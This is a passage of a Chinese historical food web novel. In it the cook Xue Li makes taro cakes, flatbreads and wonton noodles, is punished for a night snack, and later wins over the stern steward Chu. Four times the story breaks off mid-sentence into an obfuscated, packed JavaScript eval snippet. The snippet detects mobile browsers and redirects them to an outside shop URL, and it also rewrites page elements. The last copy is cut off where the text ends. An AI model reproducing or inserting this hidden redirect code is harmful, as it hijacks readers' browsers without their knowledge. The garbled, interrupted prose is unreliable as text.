“正是。”薛荔欣然停了步，“许久不见云近卫了，这几日的美味你都不曾尝到，可是替侯爷办事去了？” 一提起打工人的辛酸，云冯满腹委屈，嘴角一耷拉，倒豆似的同薛荔诉起苦水来：“诶，可莫提了，侯爷那勤恁劲儿你又不是不知，每日早出晚归的，我亦跟着东奔西走。说来，都已好几日都不曾吃上一口热乎饭菜了，心里那个苦哇！” 薛荔听得眉心一紧。 云冯吃不上热乎饭菜，那岂不意味着侯爷亦未曾好好用膳？ 这可不成！ 薛荔讪讪摸了摸后颈，感觉自己的小脑袋瓜行将不保。 “既心中苦涩，那便更该吃些香甜吃食了！”她揭起靛蓝篮布，捧出几块金黄的酥黄独递过去，“云小哥不妨尝尝我方做的酥黄独？外酥内糯、扎实香甜，或可解你心头苦楚呢！” “酥黄独好，我最喜食芋头了！”云冯终于如愿以偿，喜滋滋地接过，往嘴中一塞，“咔呲”声脆亮地咀嚼小半晌，忽而一顿，随后眼睛一亮，瞅向薛荔，“咦，这里头怎竟还有樱桃味！” 薛荔扑哧一笑：“还得是云近卫，这都尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739785|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。” 做这酥黄独呢，该选粉芋来做，本是先将芋头蒸至熟透，待凉透后再切作厚片备用，但薛荔想着，油炸或许稍显油腻，食不了几块便要住嘴。 于是乎，想出个新点子——将熟芋头碾细作泥，而后往里包裹酸甜可口的樱桃果酱。 这样一来，樱桃味酸，既可中和油炸之腻乎，又可丰富口感，岂不两全？ 而炸制酥黄独的面糊，她则是依照的宋人旧方——取香榧子、杏仁捣成碎粒，再与麦粉、盐加水调和成浆，将芋饼悉数裹上面浆后，搁入平锅里头小火慢煎，煎至双面衣壳皆呈金黄色时，便可出锅。 趁热乎咬一口，外层之坚果脆壳携带醇浓脂香，中间之面糊金褐焦脆、灿然有泽；里层之芋泥则是清甜绵密，愈咬深些，内里包裹着的樱桃酱便会忙不迭地奔涌而出，酸甜滋味一扫方才因油炸挟来的腻感。 云冯一连吃了三块，才想起这点心是送众人的，忙不迭收手。 薛荔见他将掌心里的渣碎风卷残云，不忍问道：“云近卫，这些天你随侯爷在外头，可是吃得不佳？” 云冯面有愁色地叹气：“其实，亦不是饭食滋味不佳，只不过我许久不曾返家，有些惦念家乡美食了。” “这好办呀！”薛荔自信地拍拍胸脯，“你梓里何处？美食为何？我给你做出来便是，准保一比一还原！” 闻言，云冯稍有怀疑，为难地瞅着她：“我故乡乃是东平府阳谷县，那里的烧饼属实一绝，放眼整个汴京城，顶多只有大相国寺旁那家三不欺张记饼铺的烧饼能与之媲美一二。薛小娘子，你当真能复刻此味？” 东平府阳谷县？那不是武松之乡嘛！他兄长武大郎便是卖烧饼的。 据说那烧饼外皮酥脆，内里松软，色泽金黄诱人，抖一抖满地掉渣，倒是别有一番风味。 欸，不对，等等——他方才所说的是，只有大相国寺旁的那家三不欺张记能与之媲美？ 薛荔唤住他问：“那三不欺张记不是卖炊饼的么？怎又还卖起烧饼来了？” 云冯解释道：“原是卖炊饼的不错，可那铺子的掌柜张郎君说来还与我是老乡，亦出身阳谷县，有回我去那儿买炊饼，无意间同他聊及故乡，他一激动，感念同乡之情，便言今后每回我去都私下给我烙一炉，算是一人独享的隐藏款！” 言及最后，云冯还压低声音，欣喜地同她道。 嘿，好家伙！她这辈子还真是跟卖炊饼的杠上了！ “那有何难？我阿娘亦是东平府阳谷县人，说来我亦算是打小吃着烧饼长大的哩！”薛荔如是道。 云冯瞬间瞪大了眼，又惊又喜：“你此话当真！” “自然当真，如假包换，千真万确！”薛荔面不改色心不跳地回。 这东平烧饼，原又名“碳炉马蹄烧饼”，向例要前一日老面发好，再与当日面团拌匀。 薛荔临时起意，自然无暇等发，只得悄悄从郭栗祥存来做馒头的宝贝老面上揪了团下来。 她把老面新面和匀后加碱，搓弄揉透，再分为拳头大小的剂子，擀作碗口薄片，撒上五香粉、盐同芝麻。 27. 椒盐脆皮饼 这原是最地道传统的阳谷做法，但她做到一半，却忽而忆起从前看《随园食单》中有一“烧饼法”：“用松子仁、胡桃仁敲碎，加冰糖屑、脂油，和而炙之，以两面黄为度，面加芝麻扣儿，得奶酥更佳。” 《随园食单》一书由袁枚而作，而他乃清朝之人，此法子在大宋估摸着还未出现呢，她借来用用，又不以此谋取商利，岂不别开生面？ 薛荔一边于心底里牢牢谢过“随园主人”，一边从食架子上抓来两巴掌大的松子、核桃，剥仁后混着糖霜捣碎，撒于饼皮之上，再抹上融化了的豕油。先将饼皮卷作圆筒样儿，复而擀为薄片，撒上坚果碎屑，再擀再撒。 如是两三回，层层嵌酥，便可以毛刷蘸取糖水刷于饼面，最终撒上芝麻，使芝麻粘饼却不落。 烤制烧饼须用传统的炭火炉子，火文则皮酥，火猛则面硬，若欲留住麦饼韧劲，又使饼皮酥脆最佳，便少不了将火候执掌得恰到好处。 薛荔俯探下身，将圆饼一个个背贴在烤炉的内锅壁上，烧起炭文火烤制。 在木炭一事上，她特意择用了枣木炭，因其木香本浓，又经火熏火烧，更可将麦饼烤得香味独道。 她守着发红的炭火，待到烧饼在烤炉中逐渐鼓胀，表皮泛起诱人的金黄色，满室充盈芝麻香，便将它们一一铲出。 烧饼甫一出炉时，火钳将它的脆皮夹得“喀嚓”一声裂开细纹，露出里头雪白诱人的饼瓤。 薛荔原是打算晾凉一小会儿再给云冯吃，可后者却已馋得两眼离不开饼，口中嚷着：“烧饼就得趁热吃才香嘞，若是凉了，饼皮就不酥脆了！”双手便去接。 行吧，不嫌烫手就行。 薛荔失笑着将火钳一转，把饼递到他手里。 可新出炉的烧饼哪有不烫手的？ 云冯捧着接过那烧饼，燎得两手直红，杂耍似的将饼自两掌间与空中来回抛接，惹得薛荔掩唇直笑，好一会儿后，才见他抓牢那烧饼，猴急地咬下一口。 这刷过豕油的烧饼当真是外脆里酥，两齿一阖，外壳与芝麻便双双破碎，脆屑簌簌地落了满襟，椒盐香混着坚果、芝麻香，还有枣木之炭香在舌尖炸开，烫得云冯那是直呵气也舍不得停嘴。 薛荔倚在一旁柱子，满袖春风：“如何？可是能同那大相国寺旁的三不欺张记炊饼媲美了？” “何止媲美！”云冯口咬手撕着啮下一方饼皮，快意咀嚼着，眼圈却红了，“这烧饼金黄酥香，韧性十足，倒是吃出几分我阿娘的手艺味来。” 眼见云冯满泪盈眶，一举哭成个泪包，薛荔走上前去拍了拍他肩头：“莫要心伤呀云小哥，这烧饼你日后若还想吃，随时来寻我，我做给你吃便是。” 云冯憋回泪，使劲咬了一口饼：“可我时常随侯爷在外办差，哪能说寻到你就寻到你呢？” “这还不好办么？”此话算是问到薛荔心上了，“侯爷亦是要调理身体的人，今后你明里暗里多劝他按时回府用膳，不就可吃到我做的烧饼了？” “此话有理。”云冯想想，“如此一来，我还不用劳碌直事了！” 二人正笑成一片，薛荔趁机顺嘴一问：“可云小哥，你平日里的差事不就是为侯爷保驾护航么？莫非，还有其他琐事要忙？” 此言一出，云冯便肉眼可见地噎住了半刻，忙盛了碗水顺顺嗓子眼：“没......没甚么旁事啊，我亦就是成日跟在侯爷身旁，哪还有时间忙别的事呢？呵呵呵......” “噢——”，薛荔瞅着他的干笑，托腮幽幽道，“我还想不通呢。你说，为何侯爷这等大忙人会对我那小小食肆了如指掌？莫不是派了何人暗中监视？” 云冯方心虚地咬下一口烧饼，此刻又被哽得猛地咳嗽起来，两颊憋得通红：“薛小娘子，您就莫多想了，您可是侯爷亲自选中的厨娘，他又何必多此一举，派人监视你呢？” 薛荔的目光扫过他虚飘飘的眼神，心间有了决断，于是漫不经心道：“唔，倒亦有几分在理。” 云冯终是松了口气。 正又吃起烧饼，膳房外却忽地迈入四五人，为首的乃郭栗祥。 “诶哟，此等香气，竟是你二人在此开小灶！” 说着，他便绕步至香气来处的锅炉旁一瞅：“椒盐脆皮烧饼！你二人敢吃独食！哼，见者有份！” 薛荔忙笑嘻嘻地上前，忙将提篮递上：“哪敢独食？我俩分明是给大家伙做好吃的。来，樱桃酥黄独，也请郭厨监一尝。” 郭栗祥的眼睛笑作一道细缝，揭开篮布同众人分吃起来：“这还差不多。” 薛荔一瞧大家伙皆吃得起劲，于是道：“大家可是忙到深夜，肚中饥馁？刚巧我方烤出些烧饼，不如热一热，你们分而食之，便作是宵夜了？” “那真是再好不过了。”郭栗祥嚼吧不歇的嘴百忙之中抽出空来，囫囵答薛荔的话，“再过不久府中便要大办佛事，我几人自打清晨便为时令斋点忙碌，直到方才才得歇，正缺这一口热乎烧饼。” 薛荔忙不迭又将几只金灿灿的脆壳烧饼送回锅炉里复烤加热，锅盖一揭，香气四溢，馋得好几双眼睛直勾勾盯着。 不等饼凉些，几人便一人抱上一只碗大的椒盐脆皮烧饼，“咔嚓咔嚓”地起劲啃起来。 满室飘盈起麦香与芝麻香，大家伙边吃边说笑，嘴里塞着烧饼还不忘互相调侃，一时热热闹闹，竟全无戒备。 笑语正浓时，自然也无人听得见膳房门外传来的那一阵稳沉步履声。 “尔等好大胆子！” 膳房的门“吱呀”被迅速推开。 众人一回头，只见楚总管提着一盏羊角灯立在门槛边，脸色黑得几乎能滴出墨来，目光刀似的扫过众人，眉心的川字透露出愠怒之意，让人不自觉打了个哆嗦。 胆子小的两个帮厨惊得手腕一颤，不慎打翻装点心的提篮，其中的樱桃酥黄独便哗啦啦撒了一地。有一块更是慢悠悠地咕咚滚至楚总管的靴尖上打止，仿佛挑衅一般，惹得后者紧抿嘴唇，面色愈发沉黑。 糟了，薛荔心下一咯噔。 先前阿福还曾特意交代过她楚总管此人，她怎就一时疏忽给漏了呢？ 薛荔正懊恼着，一旁楚总管却已开始冷声训诫起来。 “君子不夜食，仆辈夜啖者，罚俸一月，并不得参加年终犒赏。你们几人倒是好胆量，是将侯府规矩悉数付作耳旁风？” 侯府的执事氛围虽和合，但规矩仍是严明的。 譬如酉时过后，膳房须上封之制，为的是备防仆从借夜食之名行偷盗之事。 一听“夺俸”二字，且同年终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739786|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犒赏再不相干，屋中气氛瞬间冷下来。众人你望我我望你，齐齐垂首不语，像霜打了的茄子，却又无人敢辩半句。 说来宵禁制度于北宋中期便已取消，也不知这楚总管为何非固守着此规。 云冯缩在角落，一边抬胳膊肘戳了戳薛荔，一边愁眉锁眼地悄悄往嘴里塞了口烧饼，声音压得低低道：“这下可好，若是被侯爷晓得我在膳房偷吃，今后这脸面还往哪儿搁？” “欸，这就是嘴馋的命，不认亦得认......”薛荔小声答他，嘻笑着，再一抬眸，却冷不丁同那冷面楚总管的视线撞了个正着。 她后脊忽地莫名其妙蹿上一瞬嗖凉，赶紧绷紧了面皮，将笑意压成一条平直的唇线。 来侯府小半月，她本自诩见惯了齐恂的冰脸，可如今才发现，这府中竟有比齐恂脸更臭之人。 果然，什么样的主子就有什么样的下人诶。 楚总管没再废话，依旧板着张脸，扫了眼薛荔，又扫了眼盘中摞得老高的椒盐脆皮烧饼，冷声质问：“今夜这些吃食，是何人做的？” “......是儿家。”薛荔心知躲不过，只得硬着头皮出声。 话音方落，郭栗祥又站出来忙解释道：“其实呐，薛小娘子亦是一片好心，她见我们几人忙活一日都未吃上一口热饭，这才下灶动手，在这个点做了些吃食，楚老兄可千万莫怪她，要怪就怪我好了，谁教我嘴馋，拦也拦不住哩。” “你以为，你站出来就可教她脱得了干系？”楚总管眼刀一扫，郭栗祥便噤若寒蝉。 “还有你，云近卫。”他目光一转，话头霍然又落到云冯头上，“身为侯爷近卫，理当时刻顺职，岂可于夜深人静之时偷溜入膳房吃东西！” 若不幸有刺客潜入侯府，而侯爷旧疾未愈，身旁无人瞻护，后果不堪设想！ 思及此处，楚总管愈发地艴然不悦。 他沉沉地看着薛荔：“薛厨娘，你虽乃官家钦点之厨，照例不该由我管束，但此处终归是侯府，还望你自重分寸，莫撮弄着府中人与你一般放肆行事。此事，我自会呈报侯爷定夺。” 甚么叫“撮弄府中众人同她似的放肆行事”啊！老饕啖食之类的事，那能叫撮弄、放肆么？ 薛荔不敢同这严夫子般的管事辩驳，自是虚衿频频点头。 “郭厨监，你身为侯府老人，却犯下这等低级谬错，还领头带着其余人一同夜啖，更该惩戒。罚你两月月奉，外加免去年节赏赐之绢帛、精米与羊肉。” “至于云近卫，你乃侯爷之人，便径自向侯爷禀明此事，由侯爷处置。” “哎呦，这......这可真是......”郭栗祥叫苦连天，饼脸都皱巴成一团，像被油锅活煎了一遭，简直欲哭出来。 云冯亦未好到哪儿去，捏在掌心里的那半口烧饼凉了半截，噢不，是他的心凉了半截。 “其余人，皆照府中旧例处置，若是无人异议，就都各自回房，安生待着。” 众人小鸡啄米似地点头应是，纷纷夹着尾巴灰溜溜逃出去了。 薛荔瞧着盘中那一摞香喷喷的椒盐脆皮烧饼，心中暗暗盘算。 这位楚总管可谓是太不好相与了些，得赶紧想个法子，把他也给征服了，不然她还怎么在侯府里头安生过日子呢？ 28. 虾仁馄饨面 天色阴灰，珍味铺外，狂风大作，横雨如注。 眼见着风把半截树枝刮进堂内，“啪嗒”一声撞在柜脚，姜喜鱼叹了口气，抄起麻绳，一口气将几扇窗与侧门牢牢系住：“这等风虐雨饕，除了你，今儿谁还肯上街吃馆子？” 话音刚落，回首便见齐悦正把剥了壳的虾仁一只只串于筷子上，打算一口全吸溜下肚。姜喜鱼啧了一声：“若不是看你锦衣绣袄、披罗戴翠，我还真不信你是侯府千金。” 齐悦才不同她计较，这会儿她正沉浸在即将朵颐大嚼的喜悦之中，得意洋洋地朝她扬了扬下巴：“这法子厉害罢？阿荔教我的。” 她活到如今，还是头一回习得这般有趣味的吃法，虽说吃相实然不大美观，但倒亦可先将劳什子规矩放放，吃香要紧嘛。 姜喜鱼把目光落在齐悦面前的餐盘上——那是专寻瓷器师傅烧制的圆形瓷盘，中间一道槛将盘子均分成左右两个半圆，其左半又被均划成两块半扇。 阿荔曾说过，这唤作......唤作甚么“二一一餐盘”，具体还说了些什么她倒不大记得了，只隐约想起最通俗易懂的那个讲法——蔬菜占半圆，米饭占半扇，肉亦半扇。 今日的齐悦小灶烧的是雕菰饭、龙井虾仁、春笋炒荠菜，乃典型的碳水、水产蛋白加深色蔬菜之搭配。 姜喜鱼一眨眼的功夫，齐悦面前那半扇虾仁便已空空如也，再抬眸，只见她两腮鼓得似只花栗鼠，闭眼摇头，一副沉醉相。 不想亦知晓，一口气吃下那么多一串虾仁，如何能不美滋滋？ 姜喜鱼咽了咽口水。 外头雨势愈急，后门“吱呀”一声被人顶开——准确来说，是被一顶阔笠顶开来的。 二人双双望去，只见薛荔头顶笠帽，身披蓑衣，脚下踏着木屐，一身湿漉漉进屋。 “疏了老半晌，店后那水渠可算是通了。”薛荔叉着腰肢，歇了口气取下斗笠，脱下蓑衣，溅溅甩起水来。 汴京城内的河道与街巷素来注重排水，是以做生意的店铺周遭常挖明沟暗渠，力避积水内涝。可好巧不巧，偏生珍味铺后头的排水渠不知何时被渣滓堵死了，害得水直漫进灶房内，薛荔只好汲汲忙忙地抄起疏浚耙来做苦力。 水淹了屋舍不打紧，但可不能淹了她存放的那些宝贝食材。 齐悦见她浑身上下淋淋漓漓，犹如一只落汤燕，方从水塘子里被捞出似的，忙丢筷子迎上来，替她擦雨：“赶紧换身干爽衣裳，雨天寒气重，最易染风寒。你是不知，连平日侯府里最为强干挺拔的楚总管都因此倒下了。” 闻言，薛荔以帕抹脸的手一顿：“楚总管染疾了？” “对呀。”齐悦一面帮她擦干头发，一面细细道来，“府中不日便要举办佛事，这些时日正忙于搭建佛事所用的露天佛坛，可谁知骤雨突至。他为了不让经幡、供品被打湿，亲自上阵同仆役们一起搬移物什，被浇得浑身湿透，这才感染了风寒。现如今高烧不退，只能卧在床榻上歇养了。” 诶？这倒是个千载难逢的机会！ 薛荔眼前一亮，转眸一瞧，姜喜鱼同样的闪着眸光，是同她想到一块儿去了。 “那位楚总管平日里为人严明苛刻，脸板得跟个铁尺似的，一副生人勿近，熟人更是藐藐的模样。如今染疾，只怕也是一人伶俜卧床，心中亦煞是凄凉。” 好几回姜喜鱼帮着薛荔去侯府送吃食时，都碰见过楚总管，后者对待她的态度与对待薛荔的态度如出一辙，这可让姜喜鱼气不忿儿。 她分析得头头是道：“此时阿荔若是带着些温暖小食上门探望，那便好比暗室逢灯、雪里送炭，指不定来日他病好，便对阿荔和颜悦色了呢？” 齐悦一笑：“可以呀，姜女侠，你何时也学得这等文邹邹了？” 姜喜鱼眉梢高挑：“本女子除开眼明手捷，脑袋瓜亦是灵光聪慧的好么？更何况，平日里阿荔给我塞的书，我可没少看。” “有理有理。”薛荔欣慰颔首，“齐小妹，你可晓得楚总管平素偏爱什么菜？” 齐悦思索了半晌，苦恼道：“楚总管此人束身自修，向来信奉朵颐过甚，恐伤中和之理。我只知他嘴不刁，什么菜都愿吃，但要说偏爱吃的嘛……似乎还真没听说过呀。” 姜喜鱼咂舌称奇：“还真似个老气横秋的夫子先生，哪会有人不挑食呢？” 齐悦顺嘴道：“许是因为他幼时家中是开从食铺子的？楚总管儿时过的是清贫日子，可吃的东西本就不多，自然无法再挑食了。” “你方才说，从食铺子？”薛荔敏锐地捕捉到这一关键词。 “是呀。”齐悦点了点头，“还是我从大母口中听来的。” 小时候的齐悦嘴刁，饶是山珍海味都搬来都不肯多吃一口饭。每每此时，乌氏便会以楚总管年幼时的经历加以训诫，逼她不得不就范......咳，是“就饭”。 “从食铺......”薛荔的小狐狸眼溜溜一转，转而喜上眉梢，“有了！我去趟侯府！” - 宁武侯府的膳房里，烟火正旺，案板上粉尘飞白，郭栗祥正与几名庖厨合计着佛事所用的糕点款式。 忽而屋外传来一阵“哗啦啦”的雨声，门帘随风鼓起，一道身影趁乱钻进屋来。 一扭头，只见薛荔撑着一把被风雨打穿了的油纸伞，衣裙湿濡，脚底打滑，几乎是冲着似的急遽地跌进屋内。 郭栗祥赶忙抹了把手上的面粉，迎上前：“欸呀呀，我的小姑奶奶，今个这瓢泼似的雨，理当叫车夫去接你才对，你怎地一人撑把伞就跑来了？” 他一边招呼人去热姜汤，一边啧啧叹气：“天色难揣，雨说下就下，府中已因这场雨病倒了好几人，驱寒用的姜汤我都熬了三大锅了。你倒好，不管也不顾。” 薛荔接过姜汤，仰头就是一口，暖意顺喉而下，她笑嘻嘻：“我这不是有急事嘛。” “你有何急事？”郭栗祥狐疑瞅她一眼，眼皮还未眨巴几下，便听她低声道：“我听闻……楚总管亦病倒了？” 郭栗祥眯起眼来，似笑非笑地望着她：“怎的，是他平日里待你太过严苛，如今听他病得卧床不起，心中煞是快意？” “去去去。”薛荔撇嘴，把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748821|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗一搁，语气倒挺正经，“我薛家阿荔岂是那等小肚鸡肠之人？恰恰相反，此番我可是来照料他的！” 郭栗祥的眼睛睁大几分，仔细打量她的神情：“你莫不是在开玩笑，他那般不凉不酸地待你，你竟还想着照顾他？” “我看楚总管其实亦不过是赏罚严明了些，若说针对，倒亦算不上，或许他天生便是个嘴硬心软之人呢？” 言罢，郭栗祥一副“我没看错人”的表情瞅着她：“你能这般想，倒还真叫人有几分感动。” “还别说，其实呐，楚老兄年轻时并非如今这般冷硬严苛。”郭栗祥看着她那满脸诚恳，不由得怔了怔，良久后低叹一声，方娓娓道来，“早年他身为军中??傔从，跟着老侯爷征战沙场，为卒行事细致入微，哪怕是替军中卒子检查铠甲亦是一丝不苟。可偏生那年一场战役，物资调度出了错，前线的将士们无粮可食，伤亡惨重。敌军攻破了城门，他的妻女也因此……” 他话道此处便顿了，眼眸垂落，似是仍沉在那段旧年景中：“可那次失误亦不可全然怪他——说到底，也是当时宫中生了些变故。他不过是按规矩行事，亦受了牵连。” 薛荔默默听着，只觉心头发紧。 怪不得楚总管平日里少言寡笑，对谁都板着一张脸，最亲最爱之人都已离自己而去，他能坚韧地继续生活已是不易，如何还能笑得出来？ “原来还有这样一段经历……” “事情就是如此。”郭栗祥低头叹息，“自那之后，他便变得愈发严厉苛细，对旁人如是，对他自己愈加。你看，他不容许自己管理的侯府出现丝毫差池，其实亦是因当年未能救下妻女的遗憾罢了。” “怪不得无论楚总管如何不近人情地罚你，你总是笑呵呵地对他。”薛荔想弥补楚总管的心愈发强烈，“若能早知这段经历，我平日里便不惹楚总管愠怒了。” 郭栗祥笑着又摇头：“错啦——你瞧他罚我罚得严苛，说话从不客气，可实际上，那不过是训给余下仆役听的。他啊，是怕底下人松懈了，才常拿我做个样给人看，嚇一嚇他们，要他们尽心谋差罢了。” 说着，他凑近了些薛荔，笑着同她低声道：“就譬如上回夜里在膳房吃宵夜之事，他言要扣去我的年节赏银不过是气头上的话，哪还能真让我失了那么一大笔福禄？那日子还过不过了？” 怀着对楚总管的愧疚与恻隐，薛荔发誓要做出最味美的一碗馉饳索饼。 对，正是馉饳索饼——放在现代来讲，那便是“馄饨面”。 齐悦不是言楚总管幼时家中是开从食铺子的么？生病之时，若能吃上一口热腾腾的记忆中的美食，想来很是温暖，心中一有劲儿，风寒或许便可好得快些了。 薛荔干练地挽起袖子，取来麦粉、鸡蛋与盐，倒入木盆里和面。 边倒凉水边倒边搅匀，拌成面絮后再上手反复揉搓，直至盆底无干粉，面团光滑柔韧，便覆上湿布搁在那儿松弛。每隔约莫一刻钟便揉一次，再松弛，再手揉，末了再醒一刻钟，便可撒干粉擀面。 说到擀面，薛荔有自己的一套擀面法子。 29. 采蓼撞何人 面剂子竖着放于案板，以擀面杖自中间往上下擀开，至上下约剩两指宽距离时停下，左右擀开，面剂子成一上下尖尖的长条状，这时再将先前未擀到的上下两头侧着擀开，两头便由尖头变得浑圆。 再来是要将面拉长，将面皮稍紧些地自上而下卷于擀面杖上，两手按住擀面杖使劲往回拉，直至拉不动了便将面皮打开来，复而卷起，再回拉，这样一来，面便不容易起褶皱，切面时亦不易断开。 薛荔同卷画轴似的，将面的两头往中间卷，再翻过来，利落一刀切成细条，手一拎一甩，这索饼便条条分明了。 索饼做好了先往一旁放放，毕竟还要包馉饳，若煮早了恐怕坨掉。 薛荔往面条上盖了块布，防止水分蒸发致使面变得干硬，转而剁起馉饳馅儿来。 馅料有豕肉和虾仁，二者各占三七比例。而豕肉须带些肥肉，肥瘦二八分更佳，虾仁无需剁得过细，保留些颗粒感吃起来更加爽弹。 之后，便是往盆中打入一颗鸡蛋，倒些香油，撒些许盐，顺时针拌至肉馅起劲。 正忙着包馄饨呢，薛荔耳边却传来两名帮厨的悄声唠嗑。 一个道：“自侯爷受伤后，全府上下的膳食连带着皆清淡下来，这饭菜都要淡出个鸟味来。” 另一个接道：“唉，可不是么，俺是真想俺娘腌的辣萝卜、辣瓜儿，那脆劲儿，一口咬下去嘎嘣响，鞭炮来了声儿都没它大。脆生生的劲头儿刚一过，辣米酱的辛辣便直冲天灵盖，那种辣能辣得你脸涨红身冒汗，莫提有多舒坦快意了！” 听到此处，薛荔仿若已经尝到了大娘腌的那辣萝卜、辣瓜儿的滋味，方咽下一口口水，嘴中又泛起馋水，没完没了了。 大宋虽未得辣椒入国门，但也并非无“辣”。葱姜蒜、胡椒、芥末、水蓼、藠头、茱萸……皆可借来调味，虽不是劲辣入骨，却也能过过嘴瘾。 话说回来，她也已许久不曾吃到过可辣得她酣畅淋漓的佳肴了。 薛荔不禁暗暗盘算起来：不如今夜得闲时便来做一做？方才那帮厨郎君所说的“辣米酱”，当是以食茱萸与姜汁制成的，但仔细想想或许辣度不够，届时她或可采些水蓼来，熬成辣蓼汁，这样总该够味了罢！ 念着念着，她已两锅并起，一锅煮索饼，一锅煮馉饳。 初入沸水的索饼在水中抱团翻滚，以筷箸轻轻掏底扒拉两下，细长的索饼便丝丝缕缕散开来了。这时，沿锅边倒入一圈凉水，让面在反复沸腾中熟得透又不粘，待沸腾再倒，至第三回便熟了，将面捞出，过一道凉水，如是一来，口感便更筋道爽滑。 煮馉饳的法子亦同煮索饼的相差无几，火候一到，便舀入口似大饼的莲瓣海碗里。碗底铺着紫菜、虾皮与葱花，此时再浇入府中直备着的以金华火腿与老母鸡吊的高汤，海味的鲜香便扑面而来，一碗虾仁馉饳索饼自此大功告成！ - 厢房内，光线昏沉，窗纸外透进一层淡淡的日光，落于床前榻几之上，映着屋中缭绕不散的苦涩药香与陈年樟木的沉沉旧气。 楚总管面色病白，半倚在床头，身上盖着一床素色棉被。虽已病势缠身，却依旧将头发梳理得一丝不乱，连胡须亦修得整整齐齐。 他眼下微浮着两道倦色，眼神却锐利依旧，执拗地撑着身子，一页页翻看手边账簿。 正看得神凝，忽听门外传来一声轻叩，随即一道女声响起——“楚总管，我来给您送午膳。” 他听闻这道声音，只觉略有耳熟，但稍加思索，却又记不清是何人，只摇头感慨自己病中浑沌，遂一边翻阅着账册，头也不抬地应了声，让那人进来。 湘帘一挑，薛荔拎着食盒悄声而入，步履极轻。 楚总管正低头锁眉专心看账目，目不斜视，薛荔稍抬首一打量，只见他床边的小几上摆着一碗已喝去半盏的药汤，旁边账册摞得齐齐整整，显见是连病中也不肯耽误事务，当真劳模典范。 直至薛荔磨磨蹭蹭地将膳布好，仍未离去，他终是微微皱眉，抬眸瞥了她几眼。 第一眼扫去时未曾在意，反应过来后，又讶然地猛抬首瞧着她，似乎难以置信：“薛厨娘？你怎会在此？” 薛荔盈盈一笑：“自然是来给您送膳的呀。” 说着，她将搁着海碗的榻几拖近些，搬至楚总管身前。后者仅略瞥一眼，便知这与平日里众人所吃的吃食不同。 “其余人的午膳也皆是这般？”楚总管掩嘴咳嗽了两声，冷冷道，“侯府里除开诸位贵人，向来不容许擅开小灶，你拿回去罢。” 若在往日，薛荔早被这话呛得在心底里开启吐槽模式。可今日不同，自打郭栗祥言及过往旧事后，她心里已没了对楚总管那张冷脸的怯意，仍温声道：“我这不是见您病了，食欲不佳，才想着单独做些您愿吃的吃食么？更何况，您身为一府之总管，统管府中上下的大小事务，若病重不愈，整个侯府的运转怕亦要出纰漏了。” 楚总管听罢，神色不动，凝视她良久，似是在思索她究竟知晓了多少往事，再定睛一瞧面前的莲瓣海碗，里头又是馉饳又是索饼，混着紫菜和虾皮，乌七八糟，简直太不成规矩！ 洞出他心思，薛荔极力荐道：“总管且莫嫌弃这一碗里混得杂，只要您尝一口，便会觉得实在是鲜美至极，且还能暖身驱寒，有助风寒痊愈呢。” 楚总管微微拧了拧眉头，淡声道：“你是侯府的厨娘，并非我的丫鬟。” “那正好，您便当我是自个儿练手好了。”薛荔不以为意，又将莲瓣海碗往他手边推了推，“这碗吃食温暖如此，正适合像您这等久病不愈、面如寒霜之人食用。” 楚总管一怔，竟忍不住哑然失笑，罕见地没有训斥她。 那笑容虽只留存一瞬，却叫屋中沉郁之气消散了大半。 他哪里听不出来，这丫头是在拐弯抹角地骂他呢！ 可事实上，自打他染了风寒以来，府中往来嘘寒问暖之人虽不算少，却皆是例行公事。除开郭栗祥以外，唯有这丫头，是当真踏着风雨来给他送上热乎吃食的。 望着面前小女娘被雨水洇成深色的裙摆，与鞋缘处潮湿的泥土，他良久未语，终是动身，夹起一筷索饼，细细咀嚼。忽而，却又愣住少顷，拿起汤匙舀起一颗馉饳送入口中。 索饼筋道，汤底醇厚，虾仁爽弹，馉饳皮薄馅嫩，一口下肚，暖意便自胃腑升至胸膛。 薛荔见他吃得郑重，面上的神情冷肃亦渐渐柔和起来，再无昔日里的严肃古板，心下安然几分。 “本不该同你说这些。”楚总管忽然低语，目光微怔，望向窗外，话语中似乎都染上些慨叹，“但方才一吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 